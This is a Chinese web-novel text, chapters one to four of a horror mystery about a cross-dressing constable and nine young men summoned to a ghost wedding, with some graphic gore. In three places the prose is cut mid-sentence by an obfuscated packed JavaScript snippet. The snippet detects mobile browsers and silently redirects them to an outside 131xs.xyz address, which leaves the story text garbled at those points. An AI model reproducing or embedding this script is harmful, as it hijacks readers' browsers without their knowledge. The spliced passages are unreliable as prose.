《子语诡闻录》 1. 阴亲（一） 阴亲（一） 墨夜如稠，寂城似冢。 苏却剑眉微蹙，环视四方，终是撩袍踏入那唯一亮着昏黄烛光的客栈。 客栈内早已有不少的人。 有独坐角落者，有三两一桌低语者，放眼望去，尽是男子，年方弱冠。 见又有来人，众人都以余光暗窥，不曾多说、多问。 忽闻帘动，一位约莫三十五六岁的男子自账台后转出。 只见他一袭靛青粗布长衫洗得泛白，身形清癯却脊背如松，面色苍白眼窝深陷似久病之人，偏生唇角噙着一抹似有若无的笑意。 “劳诸位久候。” 男子拱手作揖，但声若寒潭：“在下乃此间客栈掌柜。蒙城主厚爱，特邀诸位赴少主喜宴。十日之内，二楼厢房任凭歇息，一应吃穿用度皆已备齐。当然，若诸位有额外需要，在下这里，也会提供一些之后可能会需要的物品。” 言至此，男子自账台取出几样物什。 “以一年阳寿，可购窥命镜一面，使用此镜可观自己的命序，更可赠予命筹避末位之祸；以两年阳寿，可求护命符一张，可替死还生……” “等等等等……”听闻这样奇怪又诡异的言论，有人高声出言打断，“阳寿？哪有客栈会用寿数做买卖啊？” 掌柜恍若未闻，继续自顾自取出一封信函和一个木匣子：“五年阳寿，可换启示字条；十年阳寿，可获相关之物。从明晚开始，各位便会得知自己的命筹，望各位慎之重之，诸劫可破。” 语毕，竟收起物件，掀帘而去，转瞬无踪。 有一身穿绸缎的少年神色慌张，抖着声问道：“你，你们可听清了他在说什么？护命符？替死还生？我明明刚躺下安寝，怎么会出现在这个地方？你们，你们有没有人可以告诉我？” 此话一出，众人哗然。 有说在做梦的，有说撞鬼的，还有说大家都已经死了，在黄泉路上做伴的。 苏却在嘈杂声中打量着这间客栈，陈设构造与普通客栈并无不同。 桌凳门窗虽旧却干干净净，只是几个烛台上的蜡油都堆积了不少，除了刚刚的掌柜外，再没见到客栈的其他人，所以也无人更换新蜡烛。 烛光微弱又杂乱地跳动着，晃得人心烦意乱。 要不是看外面满城死寂，唯此一处有光亮才踏入这里，苏却几乎要忘了来这之前，她也是刚喝完安神药吹灭了烛火，已经睡下的人。 “目前，死肯定是没有死。”苏却看到酒柜一旁的东西，冷哼了一声，走过去拿了起来，只消一眼便说道，“不过快了。” “你你你凭什么这样说？”又一少年问道。 “你看看这个。”苏却将手中东西递过去，“这柄拂尘是用人的腿骨和白发所制而成，正常客栈可不会有这样的东西。” 那人刚接过端详，闻言直接将拂尘往空中一抛，瘫坐在地上连连向后，嘴里吓出惊叫，在这一片死寂里分外刺耳。 人群又开始躁动起来。 “走走走，我要走了。这算什么？我哪有时间陪你们做这种……”有人开始不耐烦，挥挥袖子就要出门，可脚还没踏出门槛，看着门外一望无际的黑暗，连声音也弱了下去。 有一文质彬彬的少年朝着苏却抱拳，道：“在下周远至，见公子见识不凡，敢问如何称呼。” “苏却。”她抱拳回礼。 “你……你你是文城县衙捕头苏却？”刚刚瘫坐在地上的少年仿佛抓住了救命稻草一般，几乎是连滚带爬地来到苏却身边，紧紧抓住她的衣摆，道，“我我我……我爹是文城县令赵赵赵政寅，你你得护我周全。” 一灰衣少年闻言，脸上流露出讶异的神色，问道：“文城？是河阳府文城吗？我家离文城少说一千多里路，这里究竟是哪里？我们又到底为何会在一起？” 周远至安慰道：“诸位少安毋躁，事已至此，无论是梦魇也好，三魂出窍也好，或许大家原本并没有相见的缘分，但因为不知名的缘由聚在一起。掌柜最后也说了，希望我们慎重行事，诸劫可破。所以我想，既来之则安之，不论接下来我们遇到什么，总会有化解之法，天无绝人之路。” “在下彭绍方，觉得周公子说得实在有理。大家不妨先坐下来分析分析，总比在这里又惊又惧自己吓唬自己更好，而且苏大人又是捕头，见多识广，实在没必要过于悲观。” 众人看了看周、彭二人，又看了看苏却，若有所思，然后就陆陆续续地坐下，也再没了之前的那种防备，开始互通姓名。 有几个少年对着周围的人低语了几句后，几张方桌就被拼到了一起，成了一张大长桌。 为首的位置被留给了苏却，她也没客气，直接就坐下了。 “我先来说一说吧。”周远至就坐在苏却的左侧第一位，也不知道在哪里拿了纸笔，人清秀，字却有劲，“其实刚到这里我有留意过大家，应该都是第一次遇到这样的事情，所以我们所知道的，只有刚刚掌柜对我们说的那一番话——此地城主邀请我们来参加少主的喜宴，期限十日。我想，既然事关生死，总不会是参加宴席这么简单。十日之内，我们一定会遇到什么事情，解决了，就可以离开了。” “那那那，如果没有解决呢？”坐在苏却右侧第一位，亦是周远至对面的赵文安被腿骨拂尘一吓，显然还没有回过神来。 “除非用寿命向掌柜换保命之物，不然，应该就是死路一条了。”彭绍方道。 苏却点头：“掌柜话里提及了几样东西。他说明晚开始我们就会知道命筹，我想，命筹大约与赌坊的赌筹类似，可能是活在这里的本钱，而且接下来十天内，我们应该会有各种途径可以得到此物；一年寿命换一面镜子，镜中可以看命序；两年寿命换护身符并不难理解，可以死里逃生一次；五年寿命换字条，那应该是相当重要的线索；十年寿命所换之物同理更甚，毕竟人，能有几个十年。” 彭绍方就坐在周远至身旁，他目光在纸上停留很久，后才问道：“那也就是说，我们会按照命筹，被排序，是吗？” 苏却扫视所有人的脸，定定道：“是，掌柜明确提到末位之祸，即在场所有人，会是对手。” “那还讨论什么？我们大家都等死好了。我就是个小商贩，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279573|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾读书也不会武功，钱没赚多少也没娶媳妇儿……”说着说着，这名叫吕初郎的少年从隐隐地啜泣变为号啕大哭。 众人的情绪也在这哭声中有所煽起，咒骂哭泣不绝于耳。 “我已经说过，我们先不要自乱阵脚，一切都还没发生谁也不知道接下来是什么。”周远至在又一次的喧嚣中高声打断，道，“哭、抱怨、等死这些谁都会，可如果真想活着，无论情形如何，你我都应该去争一争。我从不信命，我只知道，我，在我自己手里。” “说得真好！好一个从不信命！周兄真乃知音也！”彭绍方不禁站起身来鼓掌。 末了，他拍了拍周远至的左肩，笑道：“大丈夫顶天立地有所为有所不为，我彭绍方在此承诺，绝不做陷害他人苟且偷生之事，大家要生一起生，要死一起死。啊，此时若是有酒，更是上佳。” “嘿嘿嘿嘿我知道……哪里有酒，我，去拿。”与其说是坐在最末端的，不如说是瘫在座位上满脸通红双眼迷离的一个醉醺醺的少年，踉踉跄跄地起身去酒柜拿酒。 无人知道他叫什么，只知道他一开始就缩在角落里喝酒，衣衫不洁不整，有几分怪异。 此刻他正迷迷糊糊，一个绊脚差点摔倒，勉强站定手却牢牢抓着酒瓶。 他晃了晃手中的酒，咧嘴一笑，道：“酒……来了！” 众人一愣，随即笑出声来，气氛竟在这一插曲中缓和了不少。 苏却酒量不错，但此处的酒实在没滋味，只喝了一碗便没再继续。 倒是其他人一碗接一碗，颇有几分悲壮的味道。 “你们发现没有，我们正好，有十个人。”苏却道。 众人闻言都愣了一下，纷纷看向坐在上首的苏却。 “十个人……十天……”周远至手上还举着酒碗，接话道，“苏兄的意思是，最糟糕的情况是，一天会，死一个人？可是正常情况下，谁家的婚宴要办十天呢？” 赵文安也不知是不是喝了酒，壮了胆，说话竟然不结巴了，道：“会不会，是我们十个人，一个人结一天婚呢？” 吕初郎将碗中的酒一饮而尽，道：“那敢情好，我再无遗憾，去他娘的什么命序命筹的，赖活一场不如痛痛快快的死呢！” “苏兄这么一说，我倒是觉得周兄与赵兄的话有几分道理。”彭绍方思忖道。 周远至道：“不错。我们十个年岁相仿，又均为男子……或许是少城主出了意外，要我们取而代之；又或是压根就没有什么少城主，背后大有隐情……” “一切还是要调查之后才能判断。”苏却总结道，“现下外面一片漆黑，根本无从查起。看来，我们必须等到第二天才可以行动。大家都少喝点，早些休息，明天一早怕是任务重重。” 苏却笑了笑，起身前往二楼。 目前所有的一切，只是他们的推断。 她不信鬼神，亦不信命，世间万事，皆有因果缘由。 不过，这件事情，从头到尾都有一个细节无人发觉。 就是她，苏却，文城县衙捕头。 是个扮作男装的，女子。 2. 阴亲（二） 阴亲（二） 苏却醒来的时候，透过窗看到天色，刚蒙蒙亮，还能听到更夫打更的声音。 正好是五更天。 外面有人了，一切开始了。 昨夜她上了二层后才发现，楼上亦是一丝光亮也没有，她一扇一扇房门地摸索过去。 不多不少，正好十间。 为避免被其他人打扰，她顺便进了最靠里的屋子，摸着黑和衣躺下，却不承想一沾枕头就昏昏沉沉地睡了过去。 下楼时她发现掌柜已经在账台处候着。 那掌柜听到动静，转过头眯着眼睛看她，笑道：“客官好早，这是城主提供的盘缠，婚宴明日才会开始，今日可在城中四处逛逛。” 苏却点头致谢，并拿了一袋系在腰间。 看向昨日喝酒的地方时，所有砸碎的酒坛酒碗都不见了，拼起的长桌也已经全部复原，桌上还摆着清粥小菜，看着十分可口。 平日里，苏却都是巡逻后才回到衙门用早膳，今天也不例外。 刚要抬脚出门，却被叫住了。 “苏兄且慢。” 是彭绍方，身后跟着周远至、赵文安和昨日那个穿丝绸的金玉明。 “苏兄好足的精神，只是……”彭绍方听完掌柜重复一模一样的话后，拿了钱袋，几步就跟到苏却面前，道，“人生地不熟，总不好叫你一人独自冒险。” 苏却扫了一眼几人，没说话，继续往外走。 门前是一条三人宽的石板路，人来人往，倒也热闹。 客栈门口正对过去有齐腹高的木桩围栏，木桩缚于柳树，树隔十余丈。 往右侧隔两棵树是一座拱桥，桥下不远处有几个妇人在浣矶洗衣；往左侧隔一棵树就是临河的一家店面，门口挂着一堆黄白纸花，卖的是丧葬用品。 这家客栈三层楼高，未挂招牌，独此一栋，左边右边都是搭棚摊子，卖油饼豆浆之类的早点。 苏却直接在摊上坐下，要了一碗豆浆。 其余几人跟着苏却同桌而坐，一人一边，只有赵文安和金玉明坐在同一侧的一条长凳上。 “客栈桌上明明有早膳，为什么你不吃？”赵文安看了看油垢发亮的木桌，又盯着摊主不拘一节的动作，嫌恶道，“我劝你最好去哪都带着我，否则我告诉我爹，罢了你的官。” 苏却只冷冷地看着赵文安的脸，倒让赵文安毛骨悚然起来。 他慌乱中喝了一口滚烫的豆浆，刚想叫，又扯着脖子咽了下去。 苏却解释道：“掌柜给了钱，又让出去逛，点明了叫我们出来调查走访，流动大的摊子，自然会口口相传不少消息……你们听，这不就是。” 邻桌此时正在说话，声音不大不小得恰好。 “你怎么眼底乌黑，是不是没睡好啊？” “唉，别提了。那家是日日哭夜夜哭，根本不给人安生日子啊。” 两人同时叹了口气。 “要我说，嫁给少城主不是挺好的嘛。城主有钱有势，和夫人二人又都热情正直，即便过去守活寡，也算是下半辈子有个着落。” “你还不知道吧，这少城主啊，要结的是，阴亲。就等着明日办了事儿钉棺材呢，也难怪，换作是我嫁闺女，那也是不肯的。” “话可不能这么说，少城主是为了维护我们上的战场，没有他，哪来我们的安稳日子。总不能让他孤魂野鬼地飘着，也没个贴心人照顾吧。” “对对对，不说了不说了，吃饭吃饭。” 苏却闻言起身，双手环胸坐在他们桌边，冷声问道：“打扰一下，敢问这新娘家在何处？” “你，你要干什么？”邻桌人非常戒备。 “没没没，没什么。”周志远转身拍了拍邻桌人的背，解释道，“我们是受城主之邀来参加喜宴的，无意听到对话，想去劝一劝新娘子，说不定不一会儿她就会想通了。” “那行。沿着这条石板路，朝这边一直走到头，右拐后横穿三个街口，过了桥，向左边斜前方的巷子里走，单一扇木门那家就是。”邻桌人伸手一指，“哦对了，不远处那家铺子就是她家开的。要是劝动了，城主一定感激不尽。” 苏却沿手指的方向看过去，是刚才她留意过的那家沿河白事店，店门紧闭，无人。 这时，不远处有“扑通——”一声，靠近店铺那边木栏一下子就围过去几个人，争吵起来。 “……我说我看见是一只鸟掉进去了。” “明明是一个包袱，看起来很重。你听那动静，能是鸟吗？” “就是大雁大鹏之类，总之很大。从天上掉下来的，能是包袱吗？” 苏却径直过去，并未看见什么大鸟还是包袱，只发现木栏上拴着一条拇指粗的麻绳，另一头一直连到水里。 拽出来，是一艘如真船那般大小的纸船，船头站着一位粉裙姑娘，栩栩如生，大小也同真人无异。 麻绳很长，之前随意漂着，被店屋挡了个严严实实。 现在一看，那纸人唇若樱瓣、鼻梁纤巧、柳眉杏眼、长睫细密，若不是肤色实在太过白皙，苏却也被这精巧的手工震撼了。 “扑通——” 又是一声。 循声看去，河对岸是沙石地。 几个十岁出头的孩子在往河里扔石头，有一个正搬着一块头颅一般大小的石头往河边走，像是在比谁的水花大。 “欸欸欸你们等等我……”其余人都跟着苏却，只留金玉明在后面着急忙慌地结账。 赶上来的时候，他拉开掌柜准备的钱袋给大家看，道：“我跟你们说，这袋子里装的不是银子不是铜板，竟然是各种形状的骨头，还有抓子儿的羊拐骨。” 赵文安心有余悸，抖了一下，看向苏却：“总总总，不会里面，还还还还有人的骨头吧？” 苏却先掂了掂，再拉开自己的袋子，伸进去捞了一把，拣了一块最大的丢给金玉明，淡淡道：“没有。” 她刚想走，又总觉得哪里不对。 “扑通——” 又是一声。 那孩子将石头扔进了河里，水花四溅。 对岸跳啊叫啊地拍手，这边大鸟包袱在争吵，路上行人来来往往…… 明明是正常又和谐的小城清晨，柳枝低垂在风中轻晃，水面也漾开一圈一圈的波纹…… 只是……她紧紧盯着河面。 ……又来了。 那水面忽浮三两点细沫，俄而又散。 苏却没看错。 她动作极快，外袍长靴一去，就纵身跳进河里。 岸上四人面面相觑，谁也不知道发生了什么。 等苏却上岸后，大家才恍然大悟。 第一次落水的那一声，应该就是这个。 是人。 “我来我来，我家世代行医，让我来。”昨天那名说离文城很远的灰衣少年，叫袁慈邈，着急地拨开围观人群来到苏却身边，先摸了颈侧探了鼻息，再以膝抵溺者腹，令头垂，拍背震胸。【1】 那人也是命大，又咳又呕，吐出好几口水。 “苏大人先回客栈换衣服吧，这里放心交给我。”袁慈邈道，“前路未知，若是大人病倒了，我不知还能信谁。” 苏却点点头。 回去时，其他人都已经醒了。 除了跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279574|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她的四个，在外救人的袁慈邈，此时，客栈里剩余的几个均是一人一桌，安安静静地喝粥吃菜，并无交流。 显然因为昨晚的推测，大家已经开始有所防备，互不信任。 苏却平日一直少言寡语，也没打招呼。 倒是醉酒人热情，向她挥手一笑。 他睡过一觉清明了几分，只是双颊还有些红。 她心中叹气，毕竟都是活生生站在她面前的人。 如果他们这一群，真到面对一天死一个的局面，那底下这一个个落单的，怕是首当其冲。 昨天她就发现了。 赵文安是赵县令的小儿子，她没见过但听说过，色厉内荏，底下一帮狗腿子常常仗着他的名义干坏事，县令明里暗里也不知包庇了多少。 而金玉明、周远至，那衣料与赵文安非常相似，绝对认识。 至于彭绍方，三言两语就把苏却推上了主位，又发誓又喝酒，无人不被他拿捏。 且他和周远至，一个擅安抚一个能鼓动，一唱一和，分外默契，若说不认识，那确实应该算相见恨晚的好兄弟。 不过，无论如何，活到最后的，肯定是她。 在她的案子查完以前，谁也要不了她的命。 换了衣服再下去的时候，刚才那个快淹死的人，看起来已经没多大问题了。甚至已经换了干净的衣服，披头散发地坐着吃东西。 看着挺瘦，拖着倒沉。 苏却还没开始巡查就花费了不少力气，正好饿了，就在那人旁边坐下来准备吃点垫垫肚子。 谁知那人，起身又去邻桌手上端俩胳膊夹俩地端过来四碗清粥，并着桌上另外俩一起推到她面前。 他冲着她皮笑肉不笑，道：“你应该就是救我那人吧，多谢啊，你多吃点。” “用不着。”苏却拿了筷子，只端了原先面前的那碗，冷冷开口。 那人继续笑道：“只是我觉得你有点咸，白粥寡淡，多喝点，去去味儿。” 苏却淡然吃完，却没放下筷子。 只在指尖一绕，拳头一捏，就把那人手里的碗直接掀翻飞出砸在墙上。 黏稠的粥液沿墙淋漓，那人还张着嘴，满脸错愕。 苏却拍桌，起身，冷笑道：“饿死也是死，这次我绝不拦着。” 说罢，便出了客栈大门，往刚刚邻桌人说的新娘家的位置去。 外面并没有赵周彭金四人的身影，想是已经拿到线索，提前一步走了。 倒是袁慈邈跟了上来，与她并肩而行。 苏却与袁慈邈简单说了一下情况。新娘家距离客栈并不远，邻桌人也描述得非常清楚，边聊边走，没多久就到了。 可过了桥，只见那四人站在巷口并未进去。 而且神情困惑，手足无措。 袁慈邈见状问道：“怎么了？可是新娘遭遇了不测？” 周远至摇摇头，对苏却道：“苏兄走进去看一圈，便明白了。” 这条巷子只有左侧有门，第一户是竹门不是，第二户是双扇柴门也不是，第三第四……一直走到拐角，也都不是。 好在巷子没有别的岔口。 可接下来，饶是苏却，也惊出了一身汗。 原来，这是一条断头巷。 巷尾是挨着不知道哪里的一堵高墙。 从拐角开始，到墙，一共十户人家。 它们也都是门在左侧，排成一排。 却全都是清一色的，单扇木门，贴着大红囍字。 【1】：此法参考于古籍医书及文物漆画。 如遇溺水者请速联急救中心，在专业人员指导下施救。 3. 阴亲（三） 阴亲（三） 十扇一模一样的门，总不至于是一个巷子里有十户人家都要办喜事。 苏却倒是差点忘了那河里漂着的纸船和纸人，这家人的扎纸技艺已经到了能够以假乱真的水平。 看来，这就是他们来这，要做的主要事情之一。 找出十家里，唯一是真的那一家。 她正想敲门，却被彭绍方拦住了。 “没用的。”他冲着苏却叹了口气，闭眼摇头，“我们试过了，那新娘父亲就跟疯子一样，直接冲出门外抵着你的额头骂，声音嘶哑双眼通红，甚是骇人。” 苏却扫了他们四个一眼，问：“你们试了几次？怎么说的？” “就一次，再不敢多试了。”金玉明满头的汗，“我当时就实话实说，说我们是城主邀请的客人，来看看新娘准备如何……” 声音越来越轻。 袁慈邈轻轻笑了起来，对着苏却道：“要不，让我试试吧。” 苏却点头：“你去敲第二扇门。” 毕竟他们谁也都不知道，第二次敲响一扇背后有一位发疯新娘父亲的门，会是什么后果。 敲门声音并不大，却立马有人应门，像是一直在等着一般。 意料之中，是中年男子回答。 “门外是哪一位？” “店家？你是店家吧，我看今日店铺还未开门，要不是因为实在需要，本不愿上门打扰。”袁慈邈言辞恳切，“劳烦店家开个门，我买些物什就走。” 话音刚落，木门就开出了一条缝。 “你进来吧。” 开门那人中等身材，普通样貌，要说印象深刻之处，确实只能记住那双通红的眼。 袁慈邈回头看了众人一眼，深吸一口气，迈腿，进门。 彭绍方本想跟在身后，却被新娘父亲拦住。 袁慈邈解释：“我们这些人都是一起的，我一个人做不了主，店家就让他们一起进来吧。” 那父亲才勉强将门开得更大了些，于是袁慈邈、彭绍方、金玉明、周远至、赵文安先后都进去了。 苏却走在最后。 与门边候着的新娘父亲擦身而过的时候，苏却好像看到了他脸上有一丝转瞬即逝的神情，极微极短，来不及确认。 再定睛看的时候，他已经关了门，落了栓，伸手一挥，道：“客官往这边走。” 苏却心里暗叫不好。 敲门前，她不是没有考虑过。 十扇门的这种情况，是否该要叫上众人一起，一人一扇进屋探查。 但十扇门背后就是十位新娘，当中一定有一位，是要嫁给那位已经死去的少城主，躺在一个死人的身边，活生生地被钉在棺材里的，真正的活人新娘。 那么进门的顺序该如何分配？大家又该如何找到区别或分享信息？遇到假新娘的九人后果又会如何？ 最坏的情况就是死，那一人一扇纯粹就是赌。 无论是考虑到线索收集、当下情况，还是可能会出现的后果，都证明一人一家还是太过于冒险了，她这才决定共进一家。 可那个神情…… 苏却真希望是自己过于谨慎而看错，而不是落入了布置好的陷阱。 进了门是个小小的院子，一条直道大概五步距离即可进入正屋，还有两侧一上一下有两条小路。 左侧那条靠上，连到一个稻草棚子，沿着屋子边一直搭到门口的墙，不小，里面堆着纸花纸人纸房子，还有三张小竹板凳，应该是，平日里他们一家做手艺的地方。 右侧这条靠下，连到灶屋，门口码着成堆的柴火，屋里没人。 院子里除了三条道，就是低矮的草地，显然打理过，但没有种菜种花，只零零散散有木签子插在地里，签子上头都是大大小小白蕊的红花。 进了正屋以后，那父亲招呼他们坐下，并吩咐新娘母亲去灶屋拿些水和点心。 那母亲还在低声哭泣，闻言，抹了一把脸后点头答应，佝偻着身子，带着哽咽声出门。 “客官们，我房里有本花样册子，那都是我自己画的，上面有的我都能做，有龙有凤、花园假山、阴邸大宅……只不过今日明日都不太方便，若是不急……” “不急，不急，你去拿吧，我们等会挑一些。”袁慈邈朝苏却使了眼色。 正屋里一共左右两扇门，门都紧闭着，除了父亲进的那间，剩下的，肯定就是新娘的屋子。 等这对父母都走开了，正好能方便他们进去看看。 可人一走，苏却一开门，倒把众人都吓了一大跳。 只见那新娘一身红衣红鞋，红盖头遮面，端端正正坐在床边。 要不是有呼吸起伏时带起的流苏微颤，那一言不发一动不动的模样，确实不像活人。 房中出乎意料的狭小，地上又堆着好几只装满金银元宝、钗环珠饰的箱子，根本容不下他们几人一起进入。 赵文安在身侧一个劲儿地推她，她便借力而入，周远至随后进来，其余人则分散在门口望风。 判断真假，纸屋和真屋，纸人和活人，一定会有区别。 地面踩起来很结实，不像底下有隔层地窖一类。 除了小了一点，房里布局也都合理，只不过，有点太干净了。 枕下被中，哪怕一丝头发也不曾看见，镜匣衣箱上，一粒灰尘也没有，不像没人住的屋子，更不像有人住的样子。 她蹲在聘礼箱前，随便拿了个金元宝掂了掂，又拣了对玉镯，一碰，振声玲玲。 “是纸吗？”周远至回头问。 苏却摇了摇头，又打开新娘衣箱，衣物不多，摸摸袖口裙摆，有磨损，常穿。 东西太少了，周远至甚至俯身伏地连床底也看了，并没什么有用的线索。 “快，快，差不多了就出来，袁慈邈拖不住了。”彭绍方皱着眉冲着他们轻声催促。 离开前，周远至伸了右手，想去掀新娘的盖头。 被苏却一把制止。 她直视他的眼睛：“我劝你，最好不要，这样做。” “为什么？”周远至不解，“是纸是人，一眼即明，我不信真能有让纸人成真的技法。” 可苏却紧紧扣住他的右手腕，竟丝毫动弹不得。 愈渐明显的疼痛，终是让他卸了力道就此罢手走出门去。 苏却刚关上门，新娘母亲端着茶壶点心，就如鬼魅一般出现在他们身后，声音有些超出年岁的苍老。 “你们，在我女儿门口，干什么？” “没什么。”苏却向前走了几步，回到位置边，“刚才内急想找地方方便方便，却不想敲了半天门没人答应。真是抱歉，原来是惊扰到了新娘子。” 那母亲脸色一变，压着声问道：“……你说什么？” “……苏却你？”金玉明拉了拉她衣服，出言提醒。 “门口贴囍，满院红花。”苏却双手一拱，难得笑了笑，“还没恭贺掌上明珠的于归之喜啊。” “我就知道，你们都在看笑话！我就知道，你们没一个人安了好心！” 那妇人咬牙切齿，把手里东西往桌上一放，也不知哪来那么大的力气，两条手臂一揽一掀，硬是将六个比她高了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279575|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 截的少年直接往门外推。 “你们那么爱看，也去棺材里看啊，跟尸身一起烂，跟大家一起死！都死吧！都去死！！！”她的语气几近疯狂，声音吼得苏却耳朵生疼。 而赵文安跑得很快，是自己打开门闩第一个冲出门口的。 他吓得惊魂未定，大口喘着气。 见苏却出来，他弯腰在地上抓了两大把石子，向苏却身上砸去。 “你你你你是不是不想活了？没事惹她干干干什么？明知道他们不爱听还说。我爹说得没错，你就是条没用的狗，不会咬人也不会护主，你要送死可别拉着我，我我再也不要跟着你了。” 袁慈邈挡在苏却身前，劝道：“赵公子别生气有话好说啊，纸屋乃已故之人所用，我们还是别待太久，否则后果实在难料。” “你怎么知道这这这是个纸屋？”赵文安歪着脖子仰着脸，尽显不服。 “我也是猜的。”袁慈邈解释，“我原先假意在和新娘父亲看花样的时候，就留意了灶屋一侧。茶汤不沸为失礼，即便没有准备，也可以拿门口的柴火赶紧烧一些。” “可她端上来的水，是凉的。”周远至接道。 袁慈邈点头：“没错，说明她不敢用火。” “可，也许这里的待客之道并非热茶汤。”彭绍方也有不满，“而且其余地方我们都还未细细看过，万一……” “所以我故意激怒了她。你们是否记得她发怒把我们赶出来之前，她做了什么？”苏却步子很慢，一步一步走到赵文安身前。 “她放下了手里的东西，腾出双手把我们往外推。试问，你们如果气急了，会把手中的东西安安稳稳地放下，再来破口大骂哭天喊地吗？” 她的目光幽幽落在赵文安身上，冷笑了几声。 “赵公子要是嫌我莽撞，我无所谓。只是，最好别再藏人身后，暗下黑手。”她勾着嘴角两手一摊，“你知道的，我不咬人不护主，但，在这样的地方，谁也不知道是谁就突然成了那个替死鬼？你父亲能保你，活着离开，吗？” 赵文安脸色苍白浑身发抖，不知是气的还是吓的，他死死瞪着站在他身前还比他高了小半头的苏却，最终再没说话。 周远至圆场：“好了好了，我觉得苏兄没错，这纸屋确实邪性。我们清晨出门才不过短短片刻，就已是黄昏了。这里的天黑我们都见识过，回去再商量对策吧。” 众人都同意，准备回客栈从长计议。 苏却抬头一看，果真天都暗了，只剩了余晖云彩。 可这时，第三扇木门剧烈地晃动起来，里面还有人在高声尖叫。 “啊啊啊啊啊啊——救命救命！救命救命！死人了杀人了……” 然后门忽地开了，连滚带爬跑出来一个浑身是血的男子，没跑两步就跪倒在地上，披头散发没看出脸来。 看装束，确实是他们中的一个，听声音，有点像是吕初郎。 袁慈邈转身跑上前搀住他，急问道：“发生了什么事？血是哪来的？” “死死死死……死人了……他他他他他他们还要杀我……” 彭绍方也关切上前：“谁死了？谁要杀你？” “……是酒疯子，酒疯子死了……被那新娘子杀的。那新娘子，是……是个纸做的人……” 有什么滴落的声音。 石子地上，有暗红的痕迹混在灰尘里。 袁慈邈抬起那个少年的头，慢慢拨开面前被血黏成一大块的头发…… 那张脸因惊恐而扭曲。 而本该是眼睛的地方，只剩了，两个拳头大小的血窟窿。 4. 阴亲（四） 阴亲（四） 无眼之人确实是吕初郎。 他神志不清地趴在彭绍方背上，一路哭喊不止，翻来覆去只嚷着“纸人”“杀人”，再无他言。 匆匆赶回客栈的时候，天色正好完全暗下。 客栈掌柜还是不在，客栈账台上却已经放着一些绷带和止血的药物，仿佛知道他们今天会有伤员一样。 蜡烛已经亮了。 苏却顺手捎了盏烛灯，本以为二楼会如昨夜般漆黑，却未派上用场。 因为二楼每个房间都是大门敞开，烛光明亮，桌子上摆着精致的晚膳，锦被华饰，与昨晚大不相同。 昨晚吕初郎喝得醉醺醺，是袁慈邈扶回去的，所以吕初郎的房间就在袁慈邈对面。 袁慈邈手法娴熟，吕初郎很快也安静了下来昏睡了过去。 没多久，血就止住了。检查了全身，除了眼睛，再无别的伤。 众人四散地坐在他的房间里，沉默了许久，都有问题想问，但是目前吕初郎的情形，暂时告知不了更多详细情况。 苏却在心里有了几分推测。 被挖眼，就是看到了不该看到的东西。 从今天新娘父母的态度来看，他们并不愿意让女儿作为结这门阴亲的对象，嫁给他们心中英勇无畏但已经是死人的少城主。 他们能做的，就只有拼尽一切，保护女儿的余生。 所以，他们用自己的手艺，创造了九个一模一样的房子、院子、他们自己和女儿，只是希望能够逃过这场要吞噬他们全家的所谓喜事，并通过装疯发狂来吓唬所有因为喜事要靠近他们的人。 自从打开新娘房门的那一刻，她就知道，那个房间里一定会有非常关键的证据。 因为当时她就留意到，河边的那个纸人再美丽，再逼真，那双杏眼也毫无生机，不会眨，不会动，终究是死物。 可是她没有掀开盖头，也阻止了周远至的手。 不用说，城主肯定已经知道了真假新娘这件事，但又不能破坏德高望重深受爱戴的形象去强抢，所以才会以参加喜宴的名义邀请他们十个来。 客栈门口就能打听消息，也是料定了他们会去那里调查。 那么，他们找到了假新娘，会有什么后果？ 找到了真新娘，又会发生什么？ 她不知道，醉酒人和吕初郎看见的那个新娘，究竟是活人还是纸人，醉酒人又为什么会被新娘杀死。 分别真假新娘，很明显就是他们来此要做的事情之一。 今日苏却的试探说白了也只是靠猜，并没有拿到什么实质的证据，后续也不知如何处置假新娘。 本来时间就怪，万一明天房子的顺序换了，一切又要重新开始，还不能从新娘身上找到入口。 那，不就是，无解？ “喂，你们……我说你们所有人，”落水那人出现在房门口，瘪着嘴道，“你们要不要下楼去看看啊，门口好像有人扔了个什么东西，我拖回来了，血淋淋怪吓人的，我不敢一个人看。” 苏却起身飞快下楼，一股非常浓重的血腥味扑鼻而来。 躺在地上的，果然是人。 是一层又一层的竹浆粗纸包裹着的，尸体。 她尝试着去剥去包裹着的纸，但并没什么用。 沾了血的纸已经干涸，而且不知道是不是涂了糨糊还是什么，这些纸就像是长在了肉上一般，与肉紧密地粘连、融合，界限难分，甚至全身上下都是如此。 他的脸已经几乎无法分辨五官，嘴张得很大，好像还能听见他死前的最后一次惊呼。 